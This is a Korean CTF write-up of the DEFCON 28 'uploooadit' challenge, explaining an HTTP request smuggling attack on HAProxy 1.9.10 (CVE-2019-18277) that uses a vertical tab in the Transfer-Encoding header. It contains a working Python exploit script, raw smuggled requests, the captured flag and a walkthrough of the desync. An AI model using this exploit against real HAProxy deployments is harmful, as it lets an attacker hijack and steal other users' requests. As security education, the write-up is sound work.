DEFCON28 - uploooadit

문제 정보

https://uploooadit.oooverflow.io/

Files:

  • app.py 358c19d6478e1f66a25161933566d7111dd293f02d9916a89c56e09268c2b54c
  • store.py dd5cee877ee73966c53f0577dc85be1705f2a13f12eb58a56a500f1da9dc49c0

문제 분석

app.py
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
@app.route("/files/", methods=["POST"])
def add_file():
if request.headers.get("Content-Type") != "text/plain":
abort(422)

guid = request.headers.get("X-guid", "")
if not GUID_RE.match(guid):
abort(422)

filestore.save(guid, request.data)
return "", 201


@app.route("/files/<guid>", methods=["GET"])
def get_file(guid):
if not GUID_RE.match(guid):
abort(422)

try:
return filestore.read(guid), {"Content-Type": "text/plain"}
except store.NotFound:
abort(404)


@app.route("/", methods=["GET"])
def root():
return "", 204

우선 제공해주는 API를 정리하면 두 가지 입니다.

  1. POST/files/X-guid헤더와 함께 데이터를 보내면 저장이 된다.
  2. GET으로 /files/{guid}를 요청하면 저장했던 데이터를 읽어올 수 있다.

curl로 한번 요청을 날려보았더니 haproxy라는 것을 사용하는 것을 볼 수 있었습니다.

defcon2020 ❯ curl -I -X POST https://uploooadit.oooverflow.io/files/
HTTP/1.1 422 UNPROCESSABLE ENTITY
Server: gunicorn/20.0.0
Date: Sun, 24 May 2020 09:05:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 215
Via: haproxy
X-Served-By: ip-10-0-1-98.us-east-2.compute.internal

HAProxy는 L4, L7 스위치에서 제공하는 기능과 로드밸런싱 기능을 제공해주는 소프트웨어입니다.
하지만, HAProxy는 얼마전에 HTTP request smuggling 취약점(CVE-2019-18277)이 발견되었던적이 있습니다.
위 HTTP 요청 결과에는 HAProxy 버전이 나와있지 않아, 취약했던 버전에 이용됐던 공격을 이용해보기로 했습니다.

Request

chunked앞에 \x0b (vertical tab)문자 삽입

POST / HTTP/1.1
Content-Length: 6
Transfer-Encoding:
chunked
0

X

Response

HTTP/1.0 400 Bad request
Server: haproxy 1.9.10
Cache-Control: no-cache
Connection: close
Content-Type: text/html

<html><body><h1>400 Bad request</h1>
Your browser sent an invalid request.
</body></html>

haproxy 1.9.10버전을 보니 HTTP request smuggling attack에 취약한 버전이고, 400이 뜬걸 보니 공격에 성공한것으로 보입니다.

이 공격기법을 이용하면, 임의의 request를 가로챌 수 있으므로 위의 데이터 저장 API를 이용하여 임의의 유저의 request를 저장할 수 있습니다.

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import socket
import ssl
import uuid

HOST = 'uploooadit.oooverflow.io'

def send_payload(data):
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1_2)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s_sock = context.wrap_socket(s, server_hostname=HOST)
s_sock.connect((HOST, 443))
s_sock.send(data)

data = s_sock.recv(102400)
s_sock.close()

return data


guid = str(uuid.uuid4()).encode()

second_packet = b'POST /files/ HTTP/1.1\r\n'
second_packet += b'Host: localhost:7979\r\n'
second_packet += b'Content-Type: text/plain\r\n'
second_packet += b'Content-Length: 386\r\n'
second_packet += b'X-guid:' + guid + b'\r\n\r\n'
second_packet += b''

first_packet = b'GET / HTTP/1.1\r\n'
first_packet += b'Content-Length:' + str(len(second_packet)+11).encode() + b'\r\n'
first_packet += b'Transfer-Encoding: \x0bchunked\r\n\r\n'
first_packet += b'1\r\n'
first_packet += b'A\r\n'
first_packet += b'0\r\n\r\n'

smuggle_packet = first_packet + second_packet

data = send_payload(smuggle_packet)
print('-------REQUEST [1]---------')
print(smuggle_packet.decode())
print('-------RESPONSE [1]---------')
print(data.decode())
print("-------Victim's Request---------")
print(requests.get(b'https://uploooadit.oooverflow.io/files/' + guid).text)

output

defcon2020 ❯ python3 attack.py
-------REQUEST [1]---------
GET / HTTP/1.1
Content-Length:150
Transfer-Encoding:
chunked

1
A
0

POST /files/ HTTP/1.1
Host: localhost:7979
Content-Type: text/plain
Content-Length: 386
X-guid:59aad79f-08d0-4c6a-bde5-d252312d0c4a


-------RESPONSE [1]---------
HTTP/1.1 204 NO CONTENT
Server: gunicorn/20.0.0
Date: Sun, 24 May 2020 09:54:15 GMT
Content-Type: text/html; charset=utf-8
Via: haproxy
X-Served-By: ip-10-0-1-98.us-east-2.compute.internal


-------Victim's Request---------
POST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 4aaccd09-cbb0-49a5-97ed-f4d423205709
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

HTTP request smuggling attack자체가 임의의 유저의 reqeust를 제어할 수 있게 되는 취약점이다 보니, 어떤식으로 flag를 얻을 수 있게 CTF에서 문제를 낼까 싶었는데 문제 출제진 측에서 주기적으로 flag가 포함된 요청을 보내고 있었습니다.

Exploit 분석

이번기회에 저 공격이 왜 되는지 정리해보자면…

위 공격은 HAProxy (frontend)와 backend server가 HTTP request header를 서로 다르게 파싱하는것에서 문제가 발생합니다.
또한, Content-LengthTransfer-Encoding: chunked가 동시에 존재할때, Content-Length헤더는 무시하게 됩니다.
하지만, HAProxy는 Transfer-Encoding: [\x0b]chunkedvertical tab때문에, 파싱하지 못하지만, backend에서는 정상적으로 파싱을 하게 됩니다.

그럼, 일단 하나하나 다같이 살펴보겠습니다.

1. Hacker → HAProxy

HAProxy는 chunked앞에 vertical tab이 들어간 Transfer-Encoding를 인식하지 못하고 Content-Length를 파싱하여 request를 읽어들입니다.

GET / HTTP/1.1
Content-Length:150
Transfer-Encoding: [\x0b]chunked

1
A
0

POST /files/ HTTP/1.1
Host: localhost:7979
Content-Type: text/plain
Content-Length: 386
X-guid:59aad79f-08d0-4c6a-bde5-d252312d0c4a

2. HAProxy → Backend

HAProxy는 파싱하지 못했던 Transfer-Encoding: [\x0b]chunked까지 포함하여, 그대로 Backend로 전달합니다.
(HAProxy에서 새로운 header를 추가할 수 있겠지만, 이번 설명에서는 제외하겠습니다)

GET / HTTP/1.1
Content-Length:150
Transfer-Encoding: [\x0b]chunked

1
A
0

POST /files/ HTTP/1.1
Host: localhost:7979
Content-Type: text/plain
Content-Length: 386
X-guid:59aad79f-08d0-4c6a-bde5-d252312d0c4a

3. Backend에서의 파싱

하지만 이걸 Backend에서는 Transfer-Encoding을 정상적으로 파싱하여 첫번째 파란색 요청만 처리합니다.

GET / HTTP/1.1
Content-Length:150
Transfer-Encoding: [\x0b]chunked

1
A
0
POST /files/ HTTP/1.1
Host: localhost:7979
Content-Type: text/plain
Content-Length: 386
X-guid:59aad79f-08d0-4c6a-bde5-d252312d0c4a

첫번째 파란색 요청에 대한 응답을 보냅니다.

HTTP/1.1 204 NO CONTENT
Server: gunicorn/20.0.0
Date: Sun, 24 May 2020 09:54:15 GMT
Content-Type: text/html; charset=utf-8
Via: haproxy
X-Served-By: ip-10-0-1-98.us-east-2.compute.internal

주황색 부분은 처리되지 않고 backend socket에 남아 이후 들어오는 요청 앞에 붙어 오염시키게 됩니다.

4. Victim → HAProxy → Backend

이때, Victim이 요청을 보내게 됩니다.

POST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 4aaccd09-cbb0-49a5-97ed-f4d423205709
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

하지만, 해당 요청은 Hacker가 오염시켜놓은 backend socket에 보내져 오염되게 되고, 해커가 의도한 두번째 http request가 완성되게 됩니다.

POST /files/ HTTP/1.1
Host: localhost:7979
Content-Type: text/plain
Content-Length: 386
X-guid:59aad79f-08d0-4c6a-bde5-d252312d0c4a

POST /files/ HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: invoker
Accept-Encoding: gzip, deflate
Accept: */*
Content-Type: text/plain
X-guid: 4aaccd09-cbb0-49a5-97ed-f4d423205709
Content-Length: 152
X-Forwarded-For: 127.0.0.1

Congratulations!
OOO{That girl thinks she's the queen of the neighborhood/She's got the hottest trike in town/That girl, she holds her head up so high}

그리고 Victim은 이 보라색 request에 대한 response를 받게 됩니다.

5. 공격성공 확인

Hacker는 59aad79f-08d0-4c6a-bde5-d252312d0c4a라는 guid로 Victim의 요청을 저장되게 요청을 구현했으므로, 잘 저장되어있는지 요청하여 확인하면 됩니다.


이렇게, HTTP request smuggling attack을 이용하면 임의의 유저의 HTTP Request 앞 부분에 원하는 내용을 넣어 오염시킬 수 있습니다. 또한, response를 다르게 받을 수 있게도 가능하니 Reflected XSS 등, 여러가지 공격이 가능합니다.

Share